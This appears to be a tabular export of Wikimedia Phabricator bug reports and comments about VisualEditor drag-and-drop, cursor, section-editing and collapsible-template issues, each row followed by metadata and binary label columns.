+238928,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup",%%%*** Bug 52155 has been marked as a duplicate of this bug. ***%%%,,,1375381691,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+53696,VisualEditor: Move-dragging a media item shows the copy cursor on Mac/Safari,"If I move an image around, I see the ""copy"" cursor, even though I'm just moving.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1374262740,1437787097.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-ujehggdfeqiirechz6c2,task_description,resolved,True,c1,3,True,False,False,2,,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,1,0,0,0
+238494,VisualEditor: Move-dragging a media item shows the copy cursor on Mac/Safari,"Created attachment 13903
+cursor image
+
+Oh, the screenshot doesn't show the cursor, but I added an example image of the cursor type instead.
+
+Safari Mac Version 7.0 (9537.71) just dragging around a thumbnailed image throughout the text shows this problem for me. It changes from the move cursor to the copy cursor.
+
+**Attached**: {F11318}",,,1385421258,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ujehggdfeqiirechz6c2,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+238486,VisualEditor: Move-dragging a media item shows the copy cursor on Mac/Safari,"Nope, I still see this problem. Initially it's the move cursor, but as soon as i move the cursor somewhere between the lines, i get the copy cursor.
+
+Screenshot attached.",,,1385420891,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ujehggdfeqiirechz6c2,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+238481,VisualEditor: Move-dragging a media item shows the copy cursor on Mac/Safari,The cursor I get in Safari (the same as in Firefox and Chrome) is the move cursor (a four-pointed cross). Marking as WORKSFORME. Possibly a config issue with your system?,,,1385387607,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ujehggdfeqiirechz6c2,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+53675,VisualEditor: Section edit links don't work like wikitext where the section is transcluded from elsewhere,"http://it.wikipedia.org/wiki/Template:Cassetto is AFAIK the Italian version of Hidden (it shouldn't be used in articles).
+
+http://it.wikipedia.org/wiki/Utente:Superchilum features a cassetto named Tudù which transcludes the subpage Utente:Superchilum/do.
+
+If you try and edit the first section in that cassetto, Varie, with the classic editor, you correctly manage to edit the /do subpage; VE instead only allows editing the main userpage.
+
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1374231000,1663955476.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-wcreo2gxsoyscsxloyxc,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+1988921,VisualEditor: Section edit links don't work like wikitext where the section is transcluded from elsewhere,"The example page linked here no longer has any section edit links on it, so I can't test this exact case, but I believe we fixed this issue in 2017 with {b7dd6077b8cab3740cb84b5c003ad272ff09ab8f} (related to T153176).",,,1663955476,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-wcreo2gxsoyscsxloyxc,task_subcomment,,True,c1,3,True,,,481,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53669,Editing window does not scroll when dragging,"When dragging an item in the visual editor (tested with image and text), the editing window does not scroll up or down when you reach the top or bottom of the window. This means you have to make several consecutive drag and drop actions to move an item within a long article/section. Per Bug 51665 the image must be separately selected before you are able to drag it (i.e. each movement requires two mouse clicks).
+
+**See Also**:
+{T36307}
+{T75240}",Low,25.0,1374226320,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_description,open,True,c1,3,False,False,,2,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+450260,Editing window does not scroll when dragging,"I tested moving an image again today, and this is the result on my Air Os X in https://en.wikipedia.org/wiki/Victor_Diaz_Lamich?veaction=edit, using the trackpad.
+In Chrome, maximized window, using Lamich’s plane pic:
+*I click on it and drag it down to put it at the bottom of the article, a green “+"" icon appears to guide me (good!). Nothing happens if I hover my pointer around the bottom of the page; down arrow does nothing; the side scrollbar doesn’t appear.
+*The two-fingers scroll gesture does work when the pointer is on the side scrollbar, so I manage to put the pic at the bottom of the article.
+*Now trying to put it back where it was, so I click and drag it again. Nothing happens if I hover around the top of the page or hit the up arrow, but the page does scroll if instead I move the pointer /on/ the toolbar (scroll gesture while on the side scrollbar also works). There may be a problem with the focus though, but at least the pic is where I want it to be.
+
+In Safari, maximized window, using the same pic:
+*Dragging the pic doesn’t show the green + icon, but a line instead. Dragging it toward the bottom of the screen achieves nothing. 
+*The two-fingers scroll gesture works on the entire surface of the page, and it’s the only way to get to the bottom of the page, and then on the top again. Hovering on the toolbar while dragging accomplishes nothing in Safari; it shows the green + icon though, in the area of the tab name.
+*Dragging and pressing the up and down arrows doesn’t seem to work. In the rare cases when it does, both the up and the down keys will actually move the pic toward the top of the page, one line at the time (holding the key never works in my experience).
+ ",,,1430228132,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,95,,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0
+394078,Editing window does not scroll when dragging,"Yes, OS X 10.9.5 Chrome and Windows 7 with IE 11- objects cannot be dragged beyond the bottom or the top of the page - the page does not scroll up. In IE 11, sometimes it's possible to drag beyond the bottom of a page but never beyond the top of editing area. ",,,1419959778,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,True,,,78,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+393966,Editing window does not scroll when dragging,I'm on OS X 10.10.1 (14B25) with Chrome 40.0.2214.45 beta (64-bit) and the issue is present. ,,,1419920556,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,78,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+393726,Editing window does not scroll when dragging,This appears to be OS-specific.  I do not have this problem (either scrolling up or down) on Mac OS 10.8.5; I know that at least two editors have this problem on Windows 8.,,,1419882579,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,78,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+236946,Editing window does not scroll when dragging,"So I'm not sure I'm adding to the right bug, but I don't seem to be able to drag templates or images beyond the bottom of the window (and even beyond the top when I tested this the other way around) with the mouse.
+I tried this in https://de.wikipedia.org/wiki/Benutzer:Elitre_%28WMF%29/sandbox with Chrome and Firefox.",,,1416241422,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,72,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+236943,Editing window does not scroll when dragging,"Just tested this, I can scroll up, with some difficulty ( by positioning the cursor on the top toolbar), but scrolling down does not seem possible. 
+
+Additionally, in most drag and drop interfaces I can be dragging and use a two finger, gesture based scroll while dragging, this does not work on VE (Chrome Version 39.0.2171.52 beta (64-bit) / OS X 10.10 )",,,1415828928,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,71,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+236940,Editing window does not scroll when dragging,This was fixed over the Summer.,,,1415807780,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,True,,,71,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+236933,Editing window does not scroll when dragging,"I found this a problem to. When additing using just a touchpad or not having a scroll option on the mouse, you have a difficulties to move and object.",,,1407176990,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,57,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+236928,Editing window does not scroll when dragging,*** Bug 63170 has been marked as a duplicate of this bug. ***,,,1404761224,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,True,,,53,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+236924,Editing window does not scroll when dragging,"Problem encounter at FF 24.0 Windows Vista. As I cant add a template, per this bug:
+http://imgbin.org/index.php?page=image&id=15296
+
+I have to use the method of placing the template on the top and scroll down. Thus this behaviour is blocking me in activity in VE.",,,1381053810,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+236918,Editing window does not scroll when dragging,"(In reply to comment #4)
+> the ""challenge"" was to get
+> the ""language"" template back at the bottom of the page. You can't do this by
+> dragging, even if you stay in the same window.
+
+I think I know what you mean and I have filed a report about it at Bug 54756. Good catch! Thank you.
+
+Also, setting the priority back to Normal since this is usually decided by the developer or team working on a specific report. Thank you for your understanding.",,,1380428104,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+236912,Editing window does not scroll when dragging,"**Wikifram** wrote:
+
+While the above is correct insofar that dragging beyond the page boundaries doesn't work (apparently not an urgent problem?), the ""challenge"" was to get the ""language"" template back at the bottom of the page. You can't do this by dragging, even if you stay in the same window. You can use some unintuitive workarounds (which you can find for yourselves), but the basic functionality doesn't work, just like most of the basic functionality of MW 1.22wmf19. has anyone tested ''anything'' in this release related to VE? Anything at all? Since it was ""very"" easy to find many problems with it in half an hour of testing. Back to the drawing boards please.",,,1380382559,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,12,,1,1,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0
+236907,Editing window does not scroll when dragging,"fwiw I believe this bug has been mentioned at https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#VisualEditor_weekly_update_-_2013-09-26_.28MW_1.22wmf19.29 
+
+The users poses ""a challenge"" consisting in dragging the <languages /> bar at [[mw:Groups]] from the bottom of the page to the top, which implies dragging.
+
+A more probable use case it to move pictures from one section to another.",,,1380324332,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+236903,Editing window does not scroll when dragging,Confirmed that this also occurs on Firefox 22 and Chrome 28 on Windows 7,,,1374228554,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+236900,Editing window does not scroll when dragging,Forgot to note this is on Firefox 22 on Xubuntu Linux,,,1374226368,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+53666,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near","If you want to move an image to the start of a section in Visual Editor the logical course of action is to drag it to before the first character of the first word of the section.
+
+A user of Firefox 21 reports this does not work at all, in my testing in Firefox 22 it appears to work only occasionally.
+
+The counter-intuitive dragging the image to after the last character of the section title does work.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54756
+https://bugzilla.wikimedia.org/show_bug.cgi?id=65883",Low,25.0,1374225180,1403061603.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-32x2jdddgorx6i4qqszg,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+236779,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near","Change 139674 merged by jenkins-bot:
+Block item drag and drop
+
+https://gerrit.wikimedia.org/r/139674",,,1403049871,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-32x2jdddgorx6i4qqszg,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236773,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near",*** Bug 51292 has been marked as a duplicate of this bug. ***,,,1403005130,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-32x2jdddgorx6i4qqszg,task_subcomment,,True,c1,3,True,,,50,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+236767,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near","Change 139674 had a related patch set uploaded by Esanders:
+Block item drag and drop
+
+https://gerrit.wikimedia.org/r/139674",,,1402926269,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-32x2jdddgorx6i4qqszg,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236761,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near",*** Bug 54756 has been marked as a duplicate of this bug. ***,,,1381246558,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32x2jdddgorx6i4qqszg,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+236757,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near","I'm a little confused as to what the request is here - do you feel that VisualEditor should, when dragging, magically create (and destroy) places to put the cursor, so you can drag content there? Assuming this, I've re-titled, but please correct if I've misunderstood.
+
+We've deliberately decided against that in the past as a confusing behaviour, hence why there are all the extra blank lines (""slugs"") for the ""possible place you could put the cursor which aren't actually there"" concept.
+
+We could do this, but I'm not sure. Also, it adds behaviour that is possible using a mouse but not the keyboard (dragging is not done in the keyboard, instead cut/paste is), which is a little uncomfortable given the intent of VisualEditor.
+
+We've considered adding an ""outline mode"" which would have all the slugs shown, possibly including these ones, and an ""editor mode"" where no slugs at all would show, which could be one alternative to this request.",,,1381246309,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32x2jdddgorx6i4qqszg,task_subcomment,,True,c1,3,True,,,14,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+236749,"VisualEditor: When dragging content, possible places to place content (e.g. a line before the head of a section, or at the end of the page) should appear when the content gets near",There is a similar problem when you try to drag elements to the end of the editable content area - see Bug 54756.,,,1380428336,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-32x2jdddgorx6i4qqszg,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+53664,VisualEditor: Surface should respect the default state of collapseable templates,"A user on English Wikipedia requests that templates such as navigation boxes that display as collapsed by default when viewing should display as collapsed by default when editing.
+
+""Currently, navigation boxes are always uncollapsed when editing. This can be quite annoying when having to deal with big ones like {{The Beatles}}, e.g. on ""I'm a Loser"", also it might be confusing editors into believing that this part of a page can easily be edited.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1374223320,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_description,open,True,c1,3,False,False,,2,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+1066690,VisualEditor: Surface should respect the default state of collapseable templates,"And worse, they are often 'autocollapse' which means they won't benefit from this. I am going to propose a change on en.wp soon, to limit the usage of autocollapse to ONLY navboxes, so at least other parts of the pages will not have this problem. But i'm not sure how to get social buy-in for completely removing autocollapse behaviour of navboxes.",,,1526025290,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,True,,,253,,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,1,0
+1066540,VisualEditor: Surface should respect the default state of collapseable templates,"Navboxes and probably almost everything else still use `class=""collapsible""`…",,,1525985062,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,True,,,253,,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0
+1066512,VisualEditor: Surface should respect the default state of collapseable templates,">>! In T53664#4198427, @matmarex wrote:
+> This should now magically work for elements made collapsible using `class=""mw-collapsible""`, as a result of 8cdfcc5fd4b, which refactored that code to hide them using only CSS. 
+
+Does that make this fixed, or are there elements we'd want to support which use a different class/mechanism?",,,1525983346,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,True,,,253,,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1
+1066498,VisualEditor: Surface should respect the default state of collapseable templates,"This should now magically work for elements made collapsible using `class=""mw-collapsible""`, as a result of 8cdfcc5fd4b, which refactored that code to hide them using only CSS. ",,,1525981957,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-i6t6lpxllw2dz6rjfyz5,task_subcomment,,True,c1,3,True,,,253,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0
+236650,VisualEditor: Surface should respect the default state of collapseable templates,"Created attachment 13417
+Related render problems
+
+This is a related problem, which would not be noticable if it was not for this bug.
+
+https://en.wikipedia.org/w/index.php?title=Anarchism&veaction=edit
+
+When in normal view mode (not VE), expand all of those sidebars
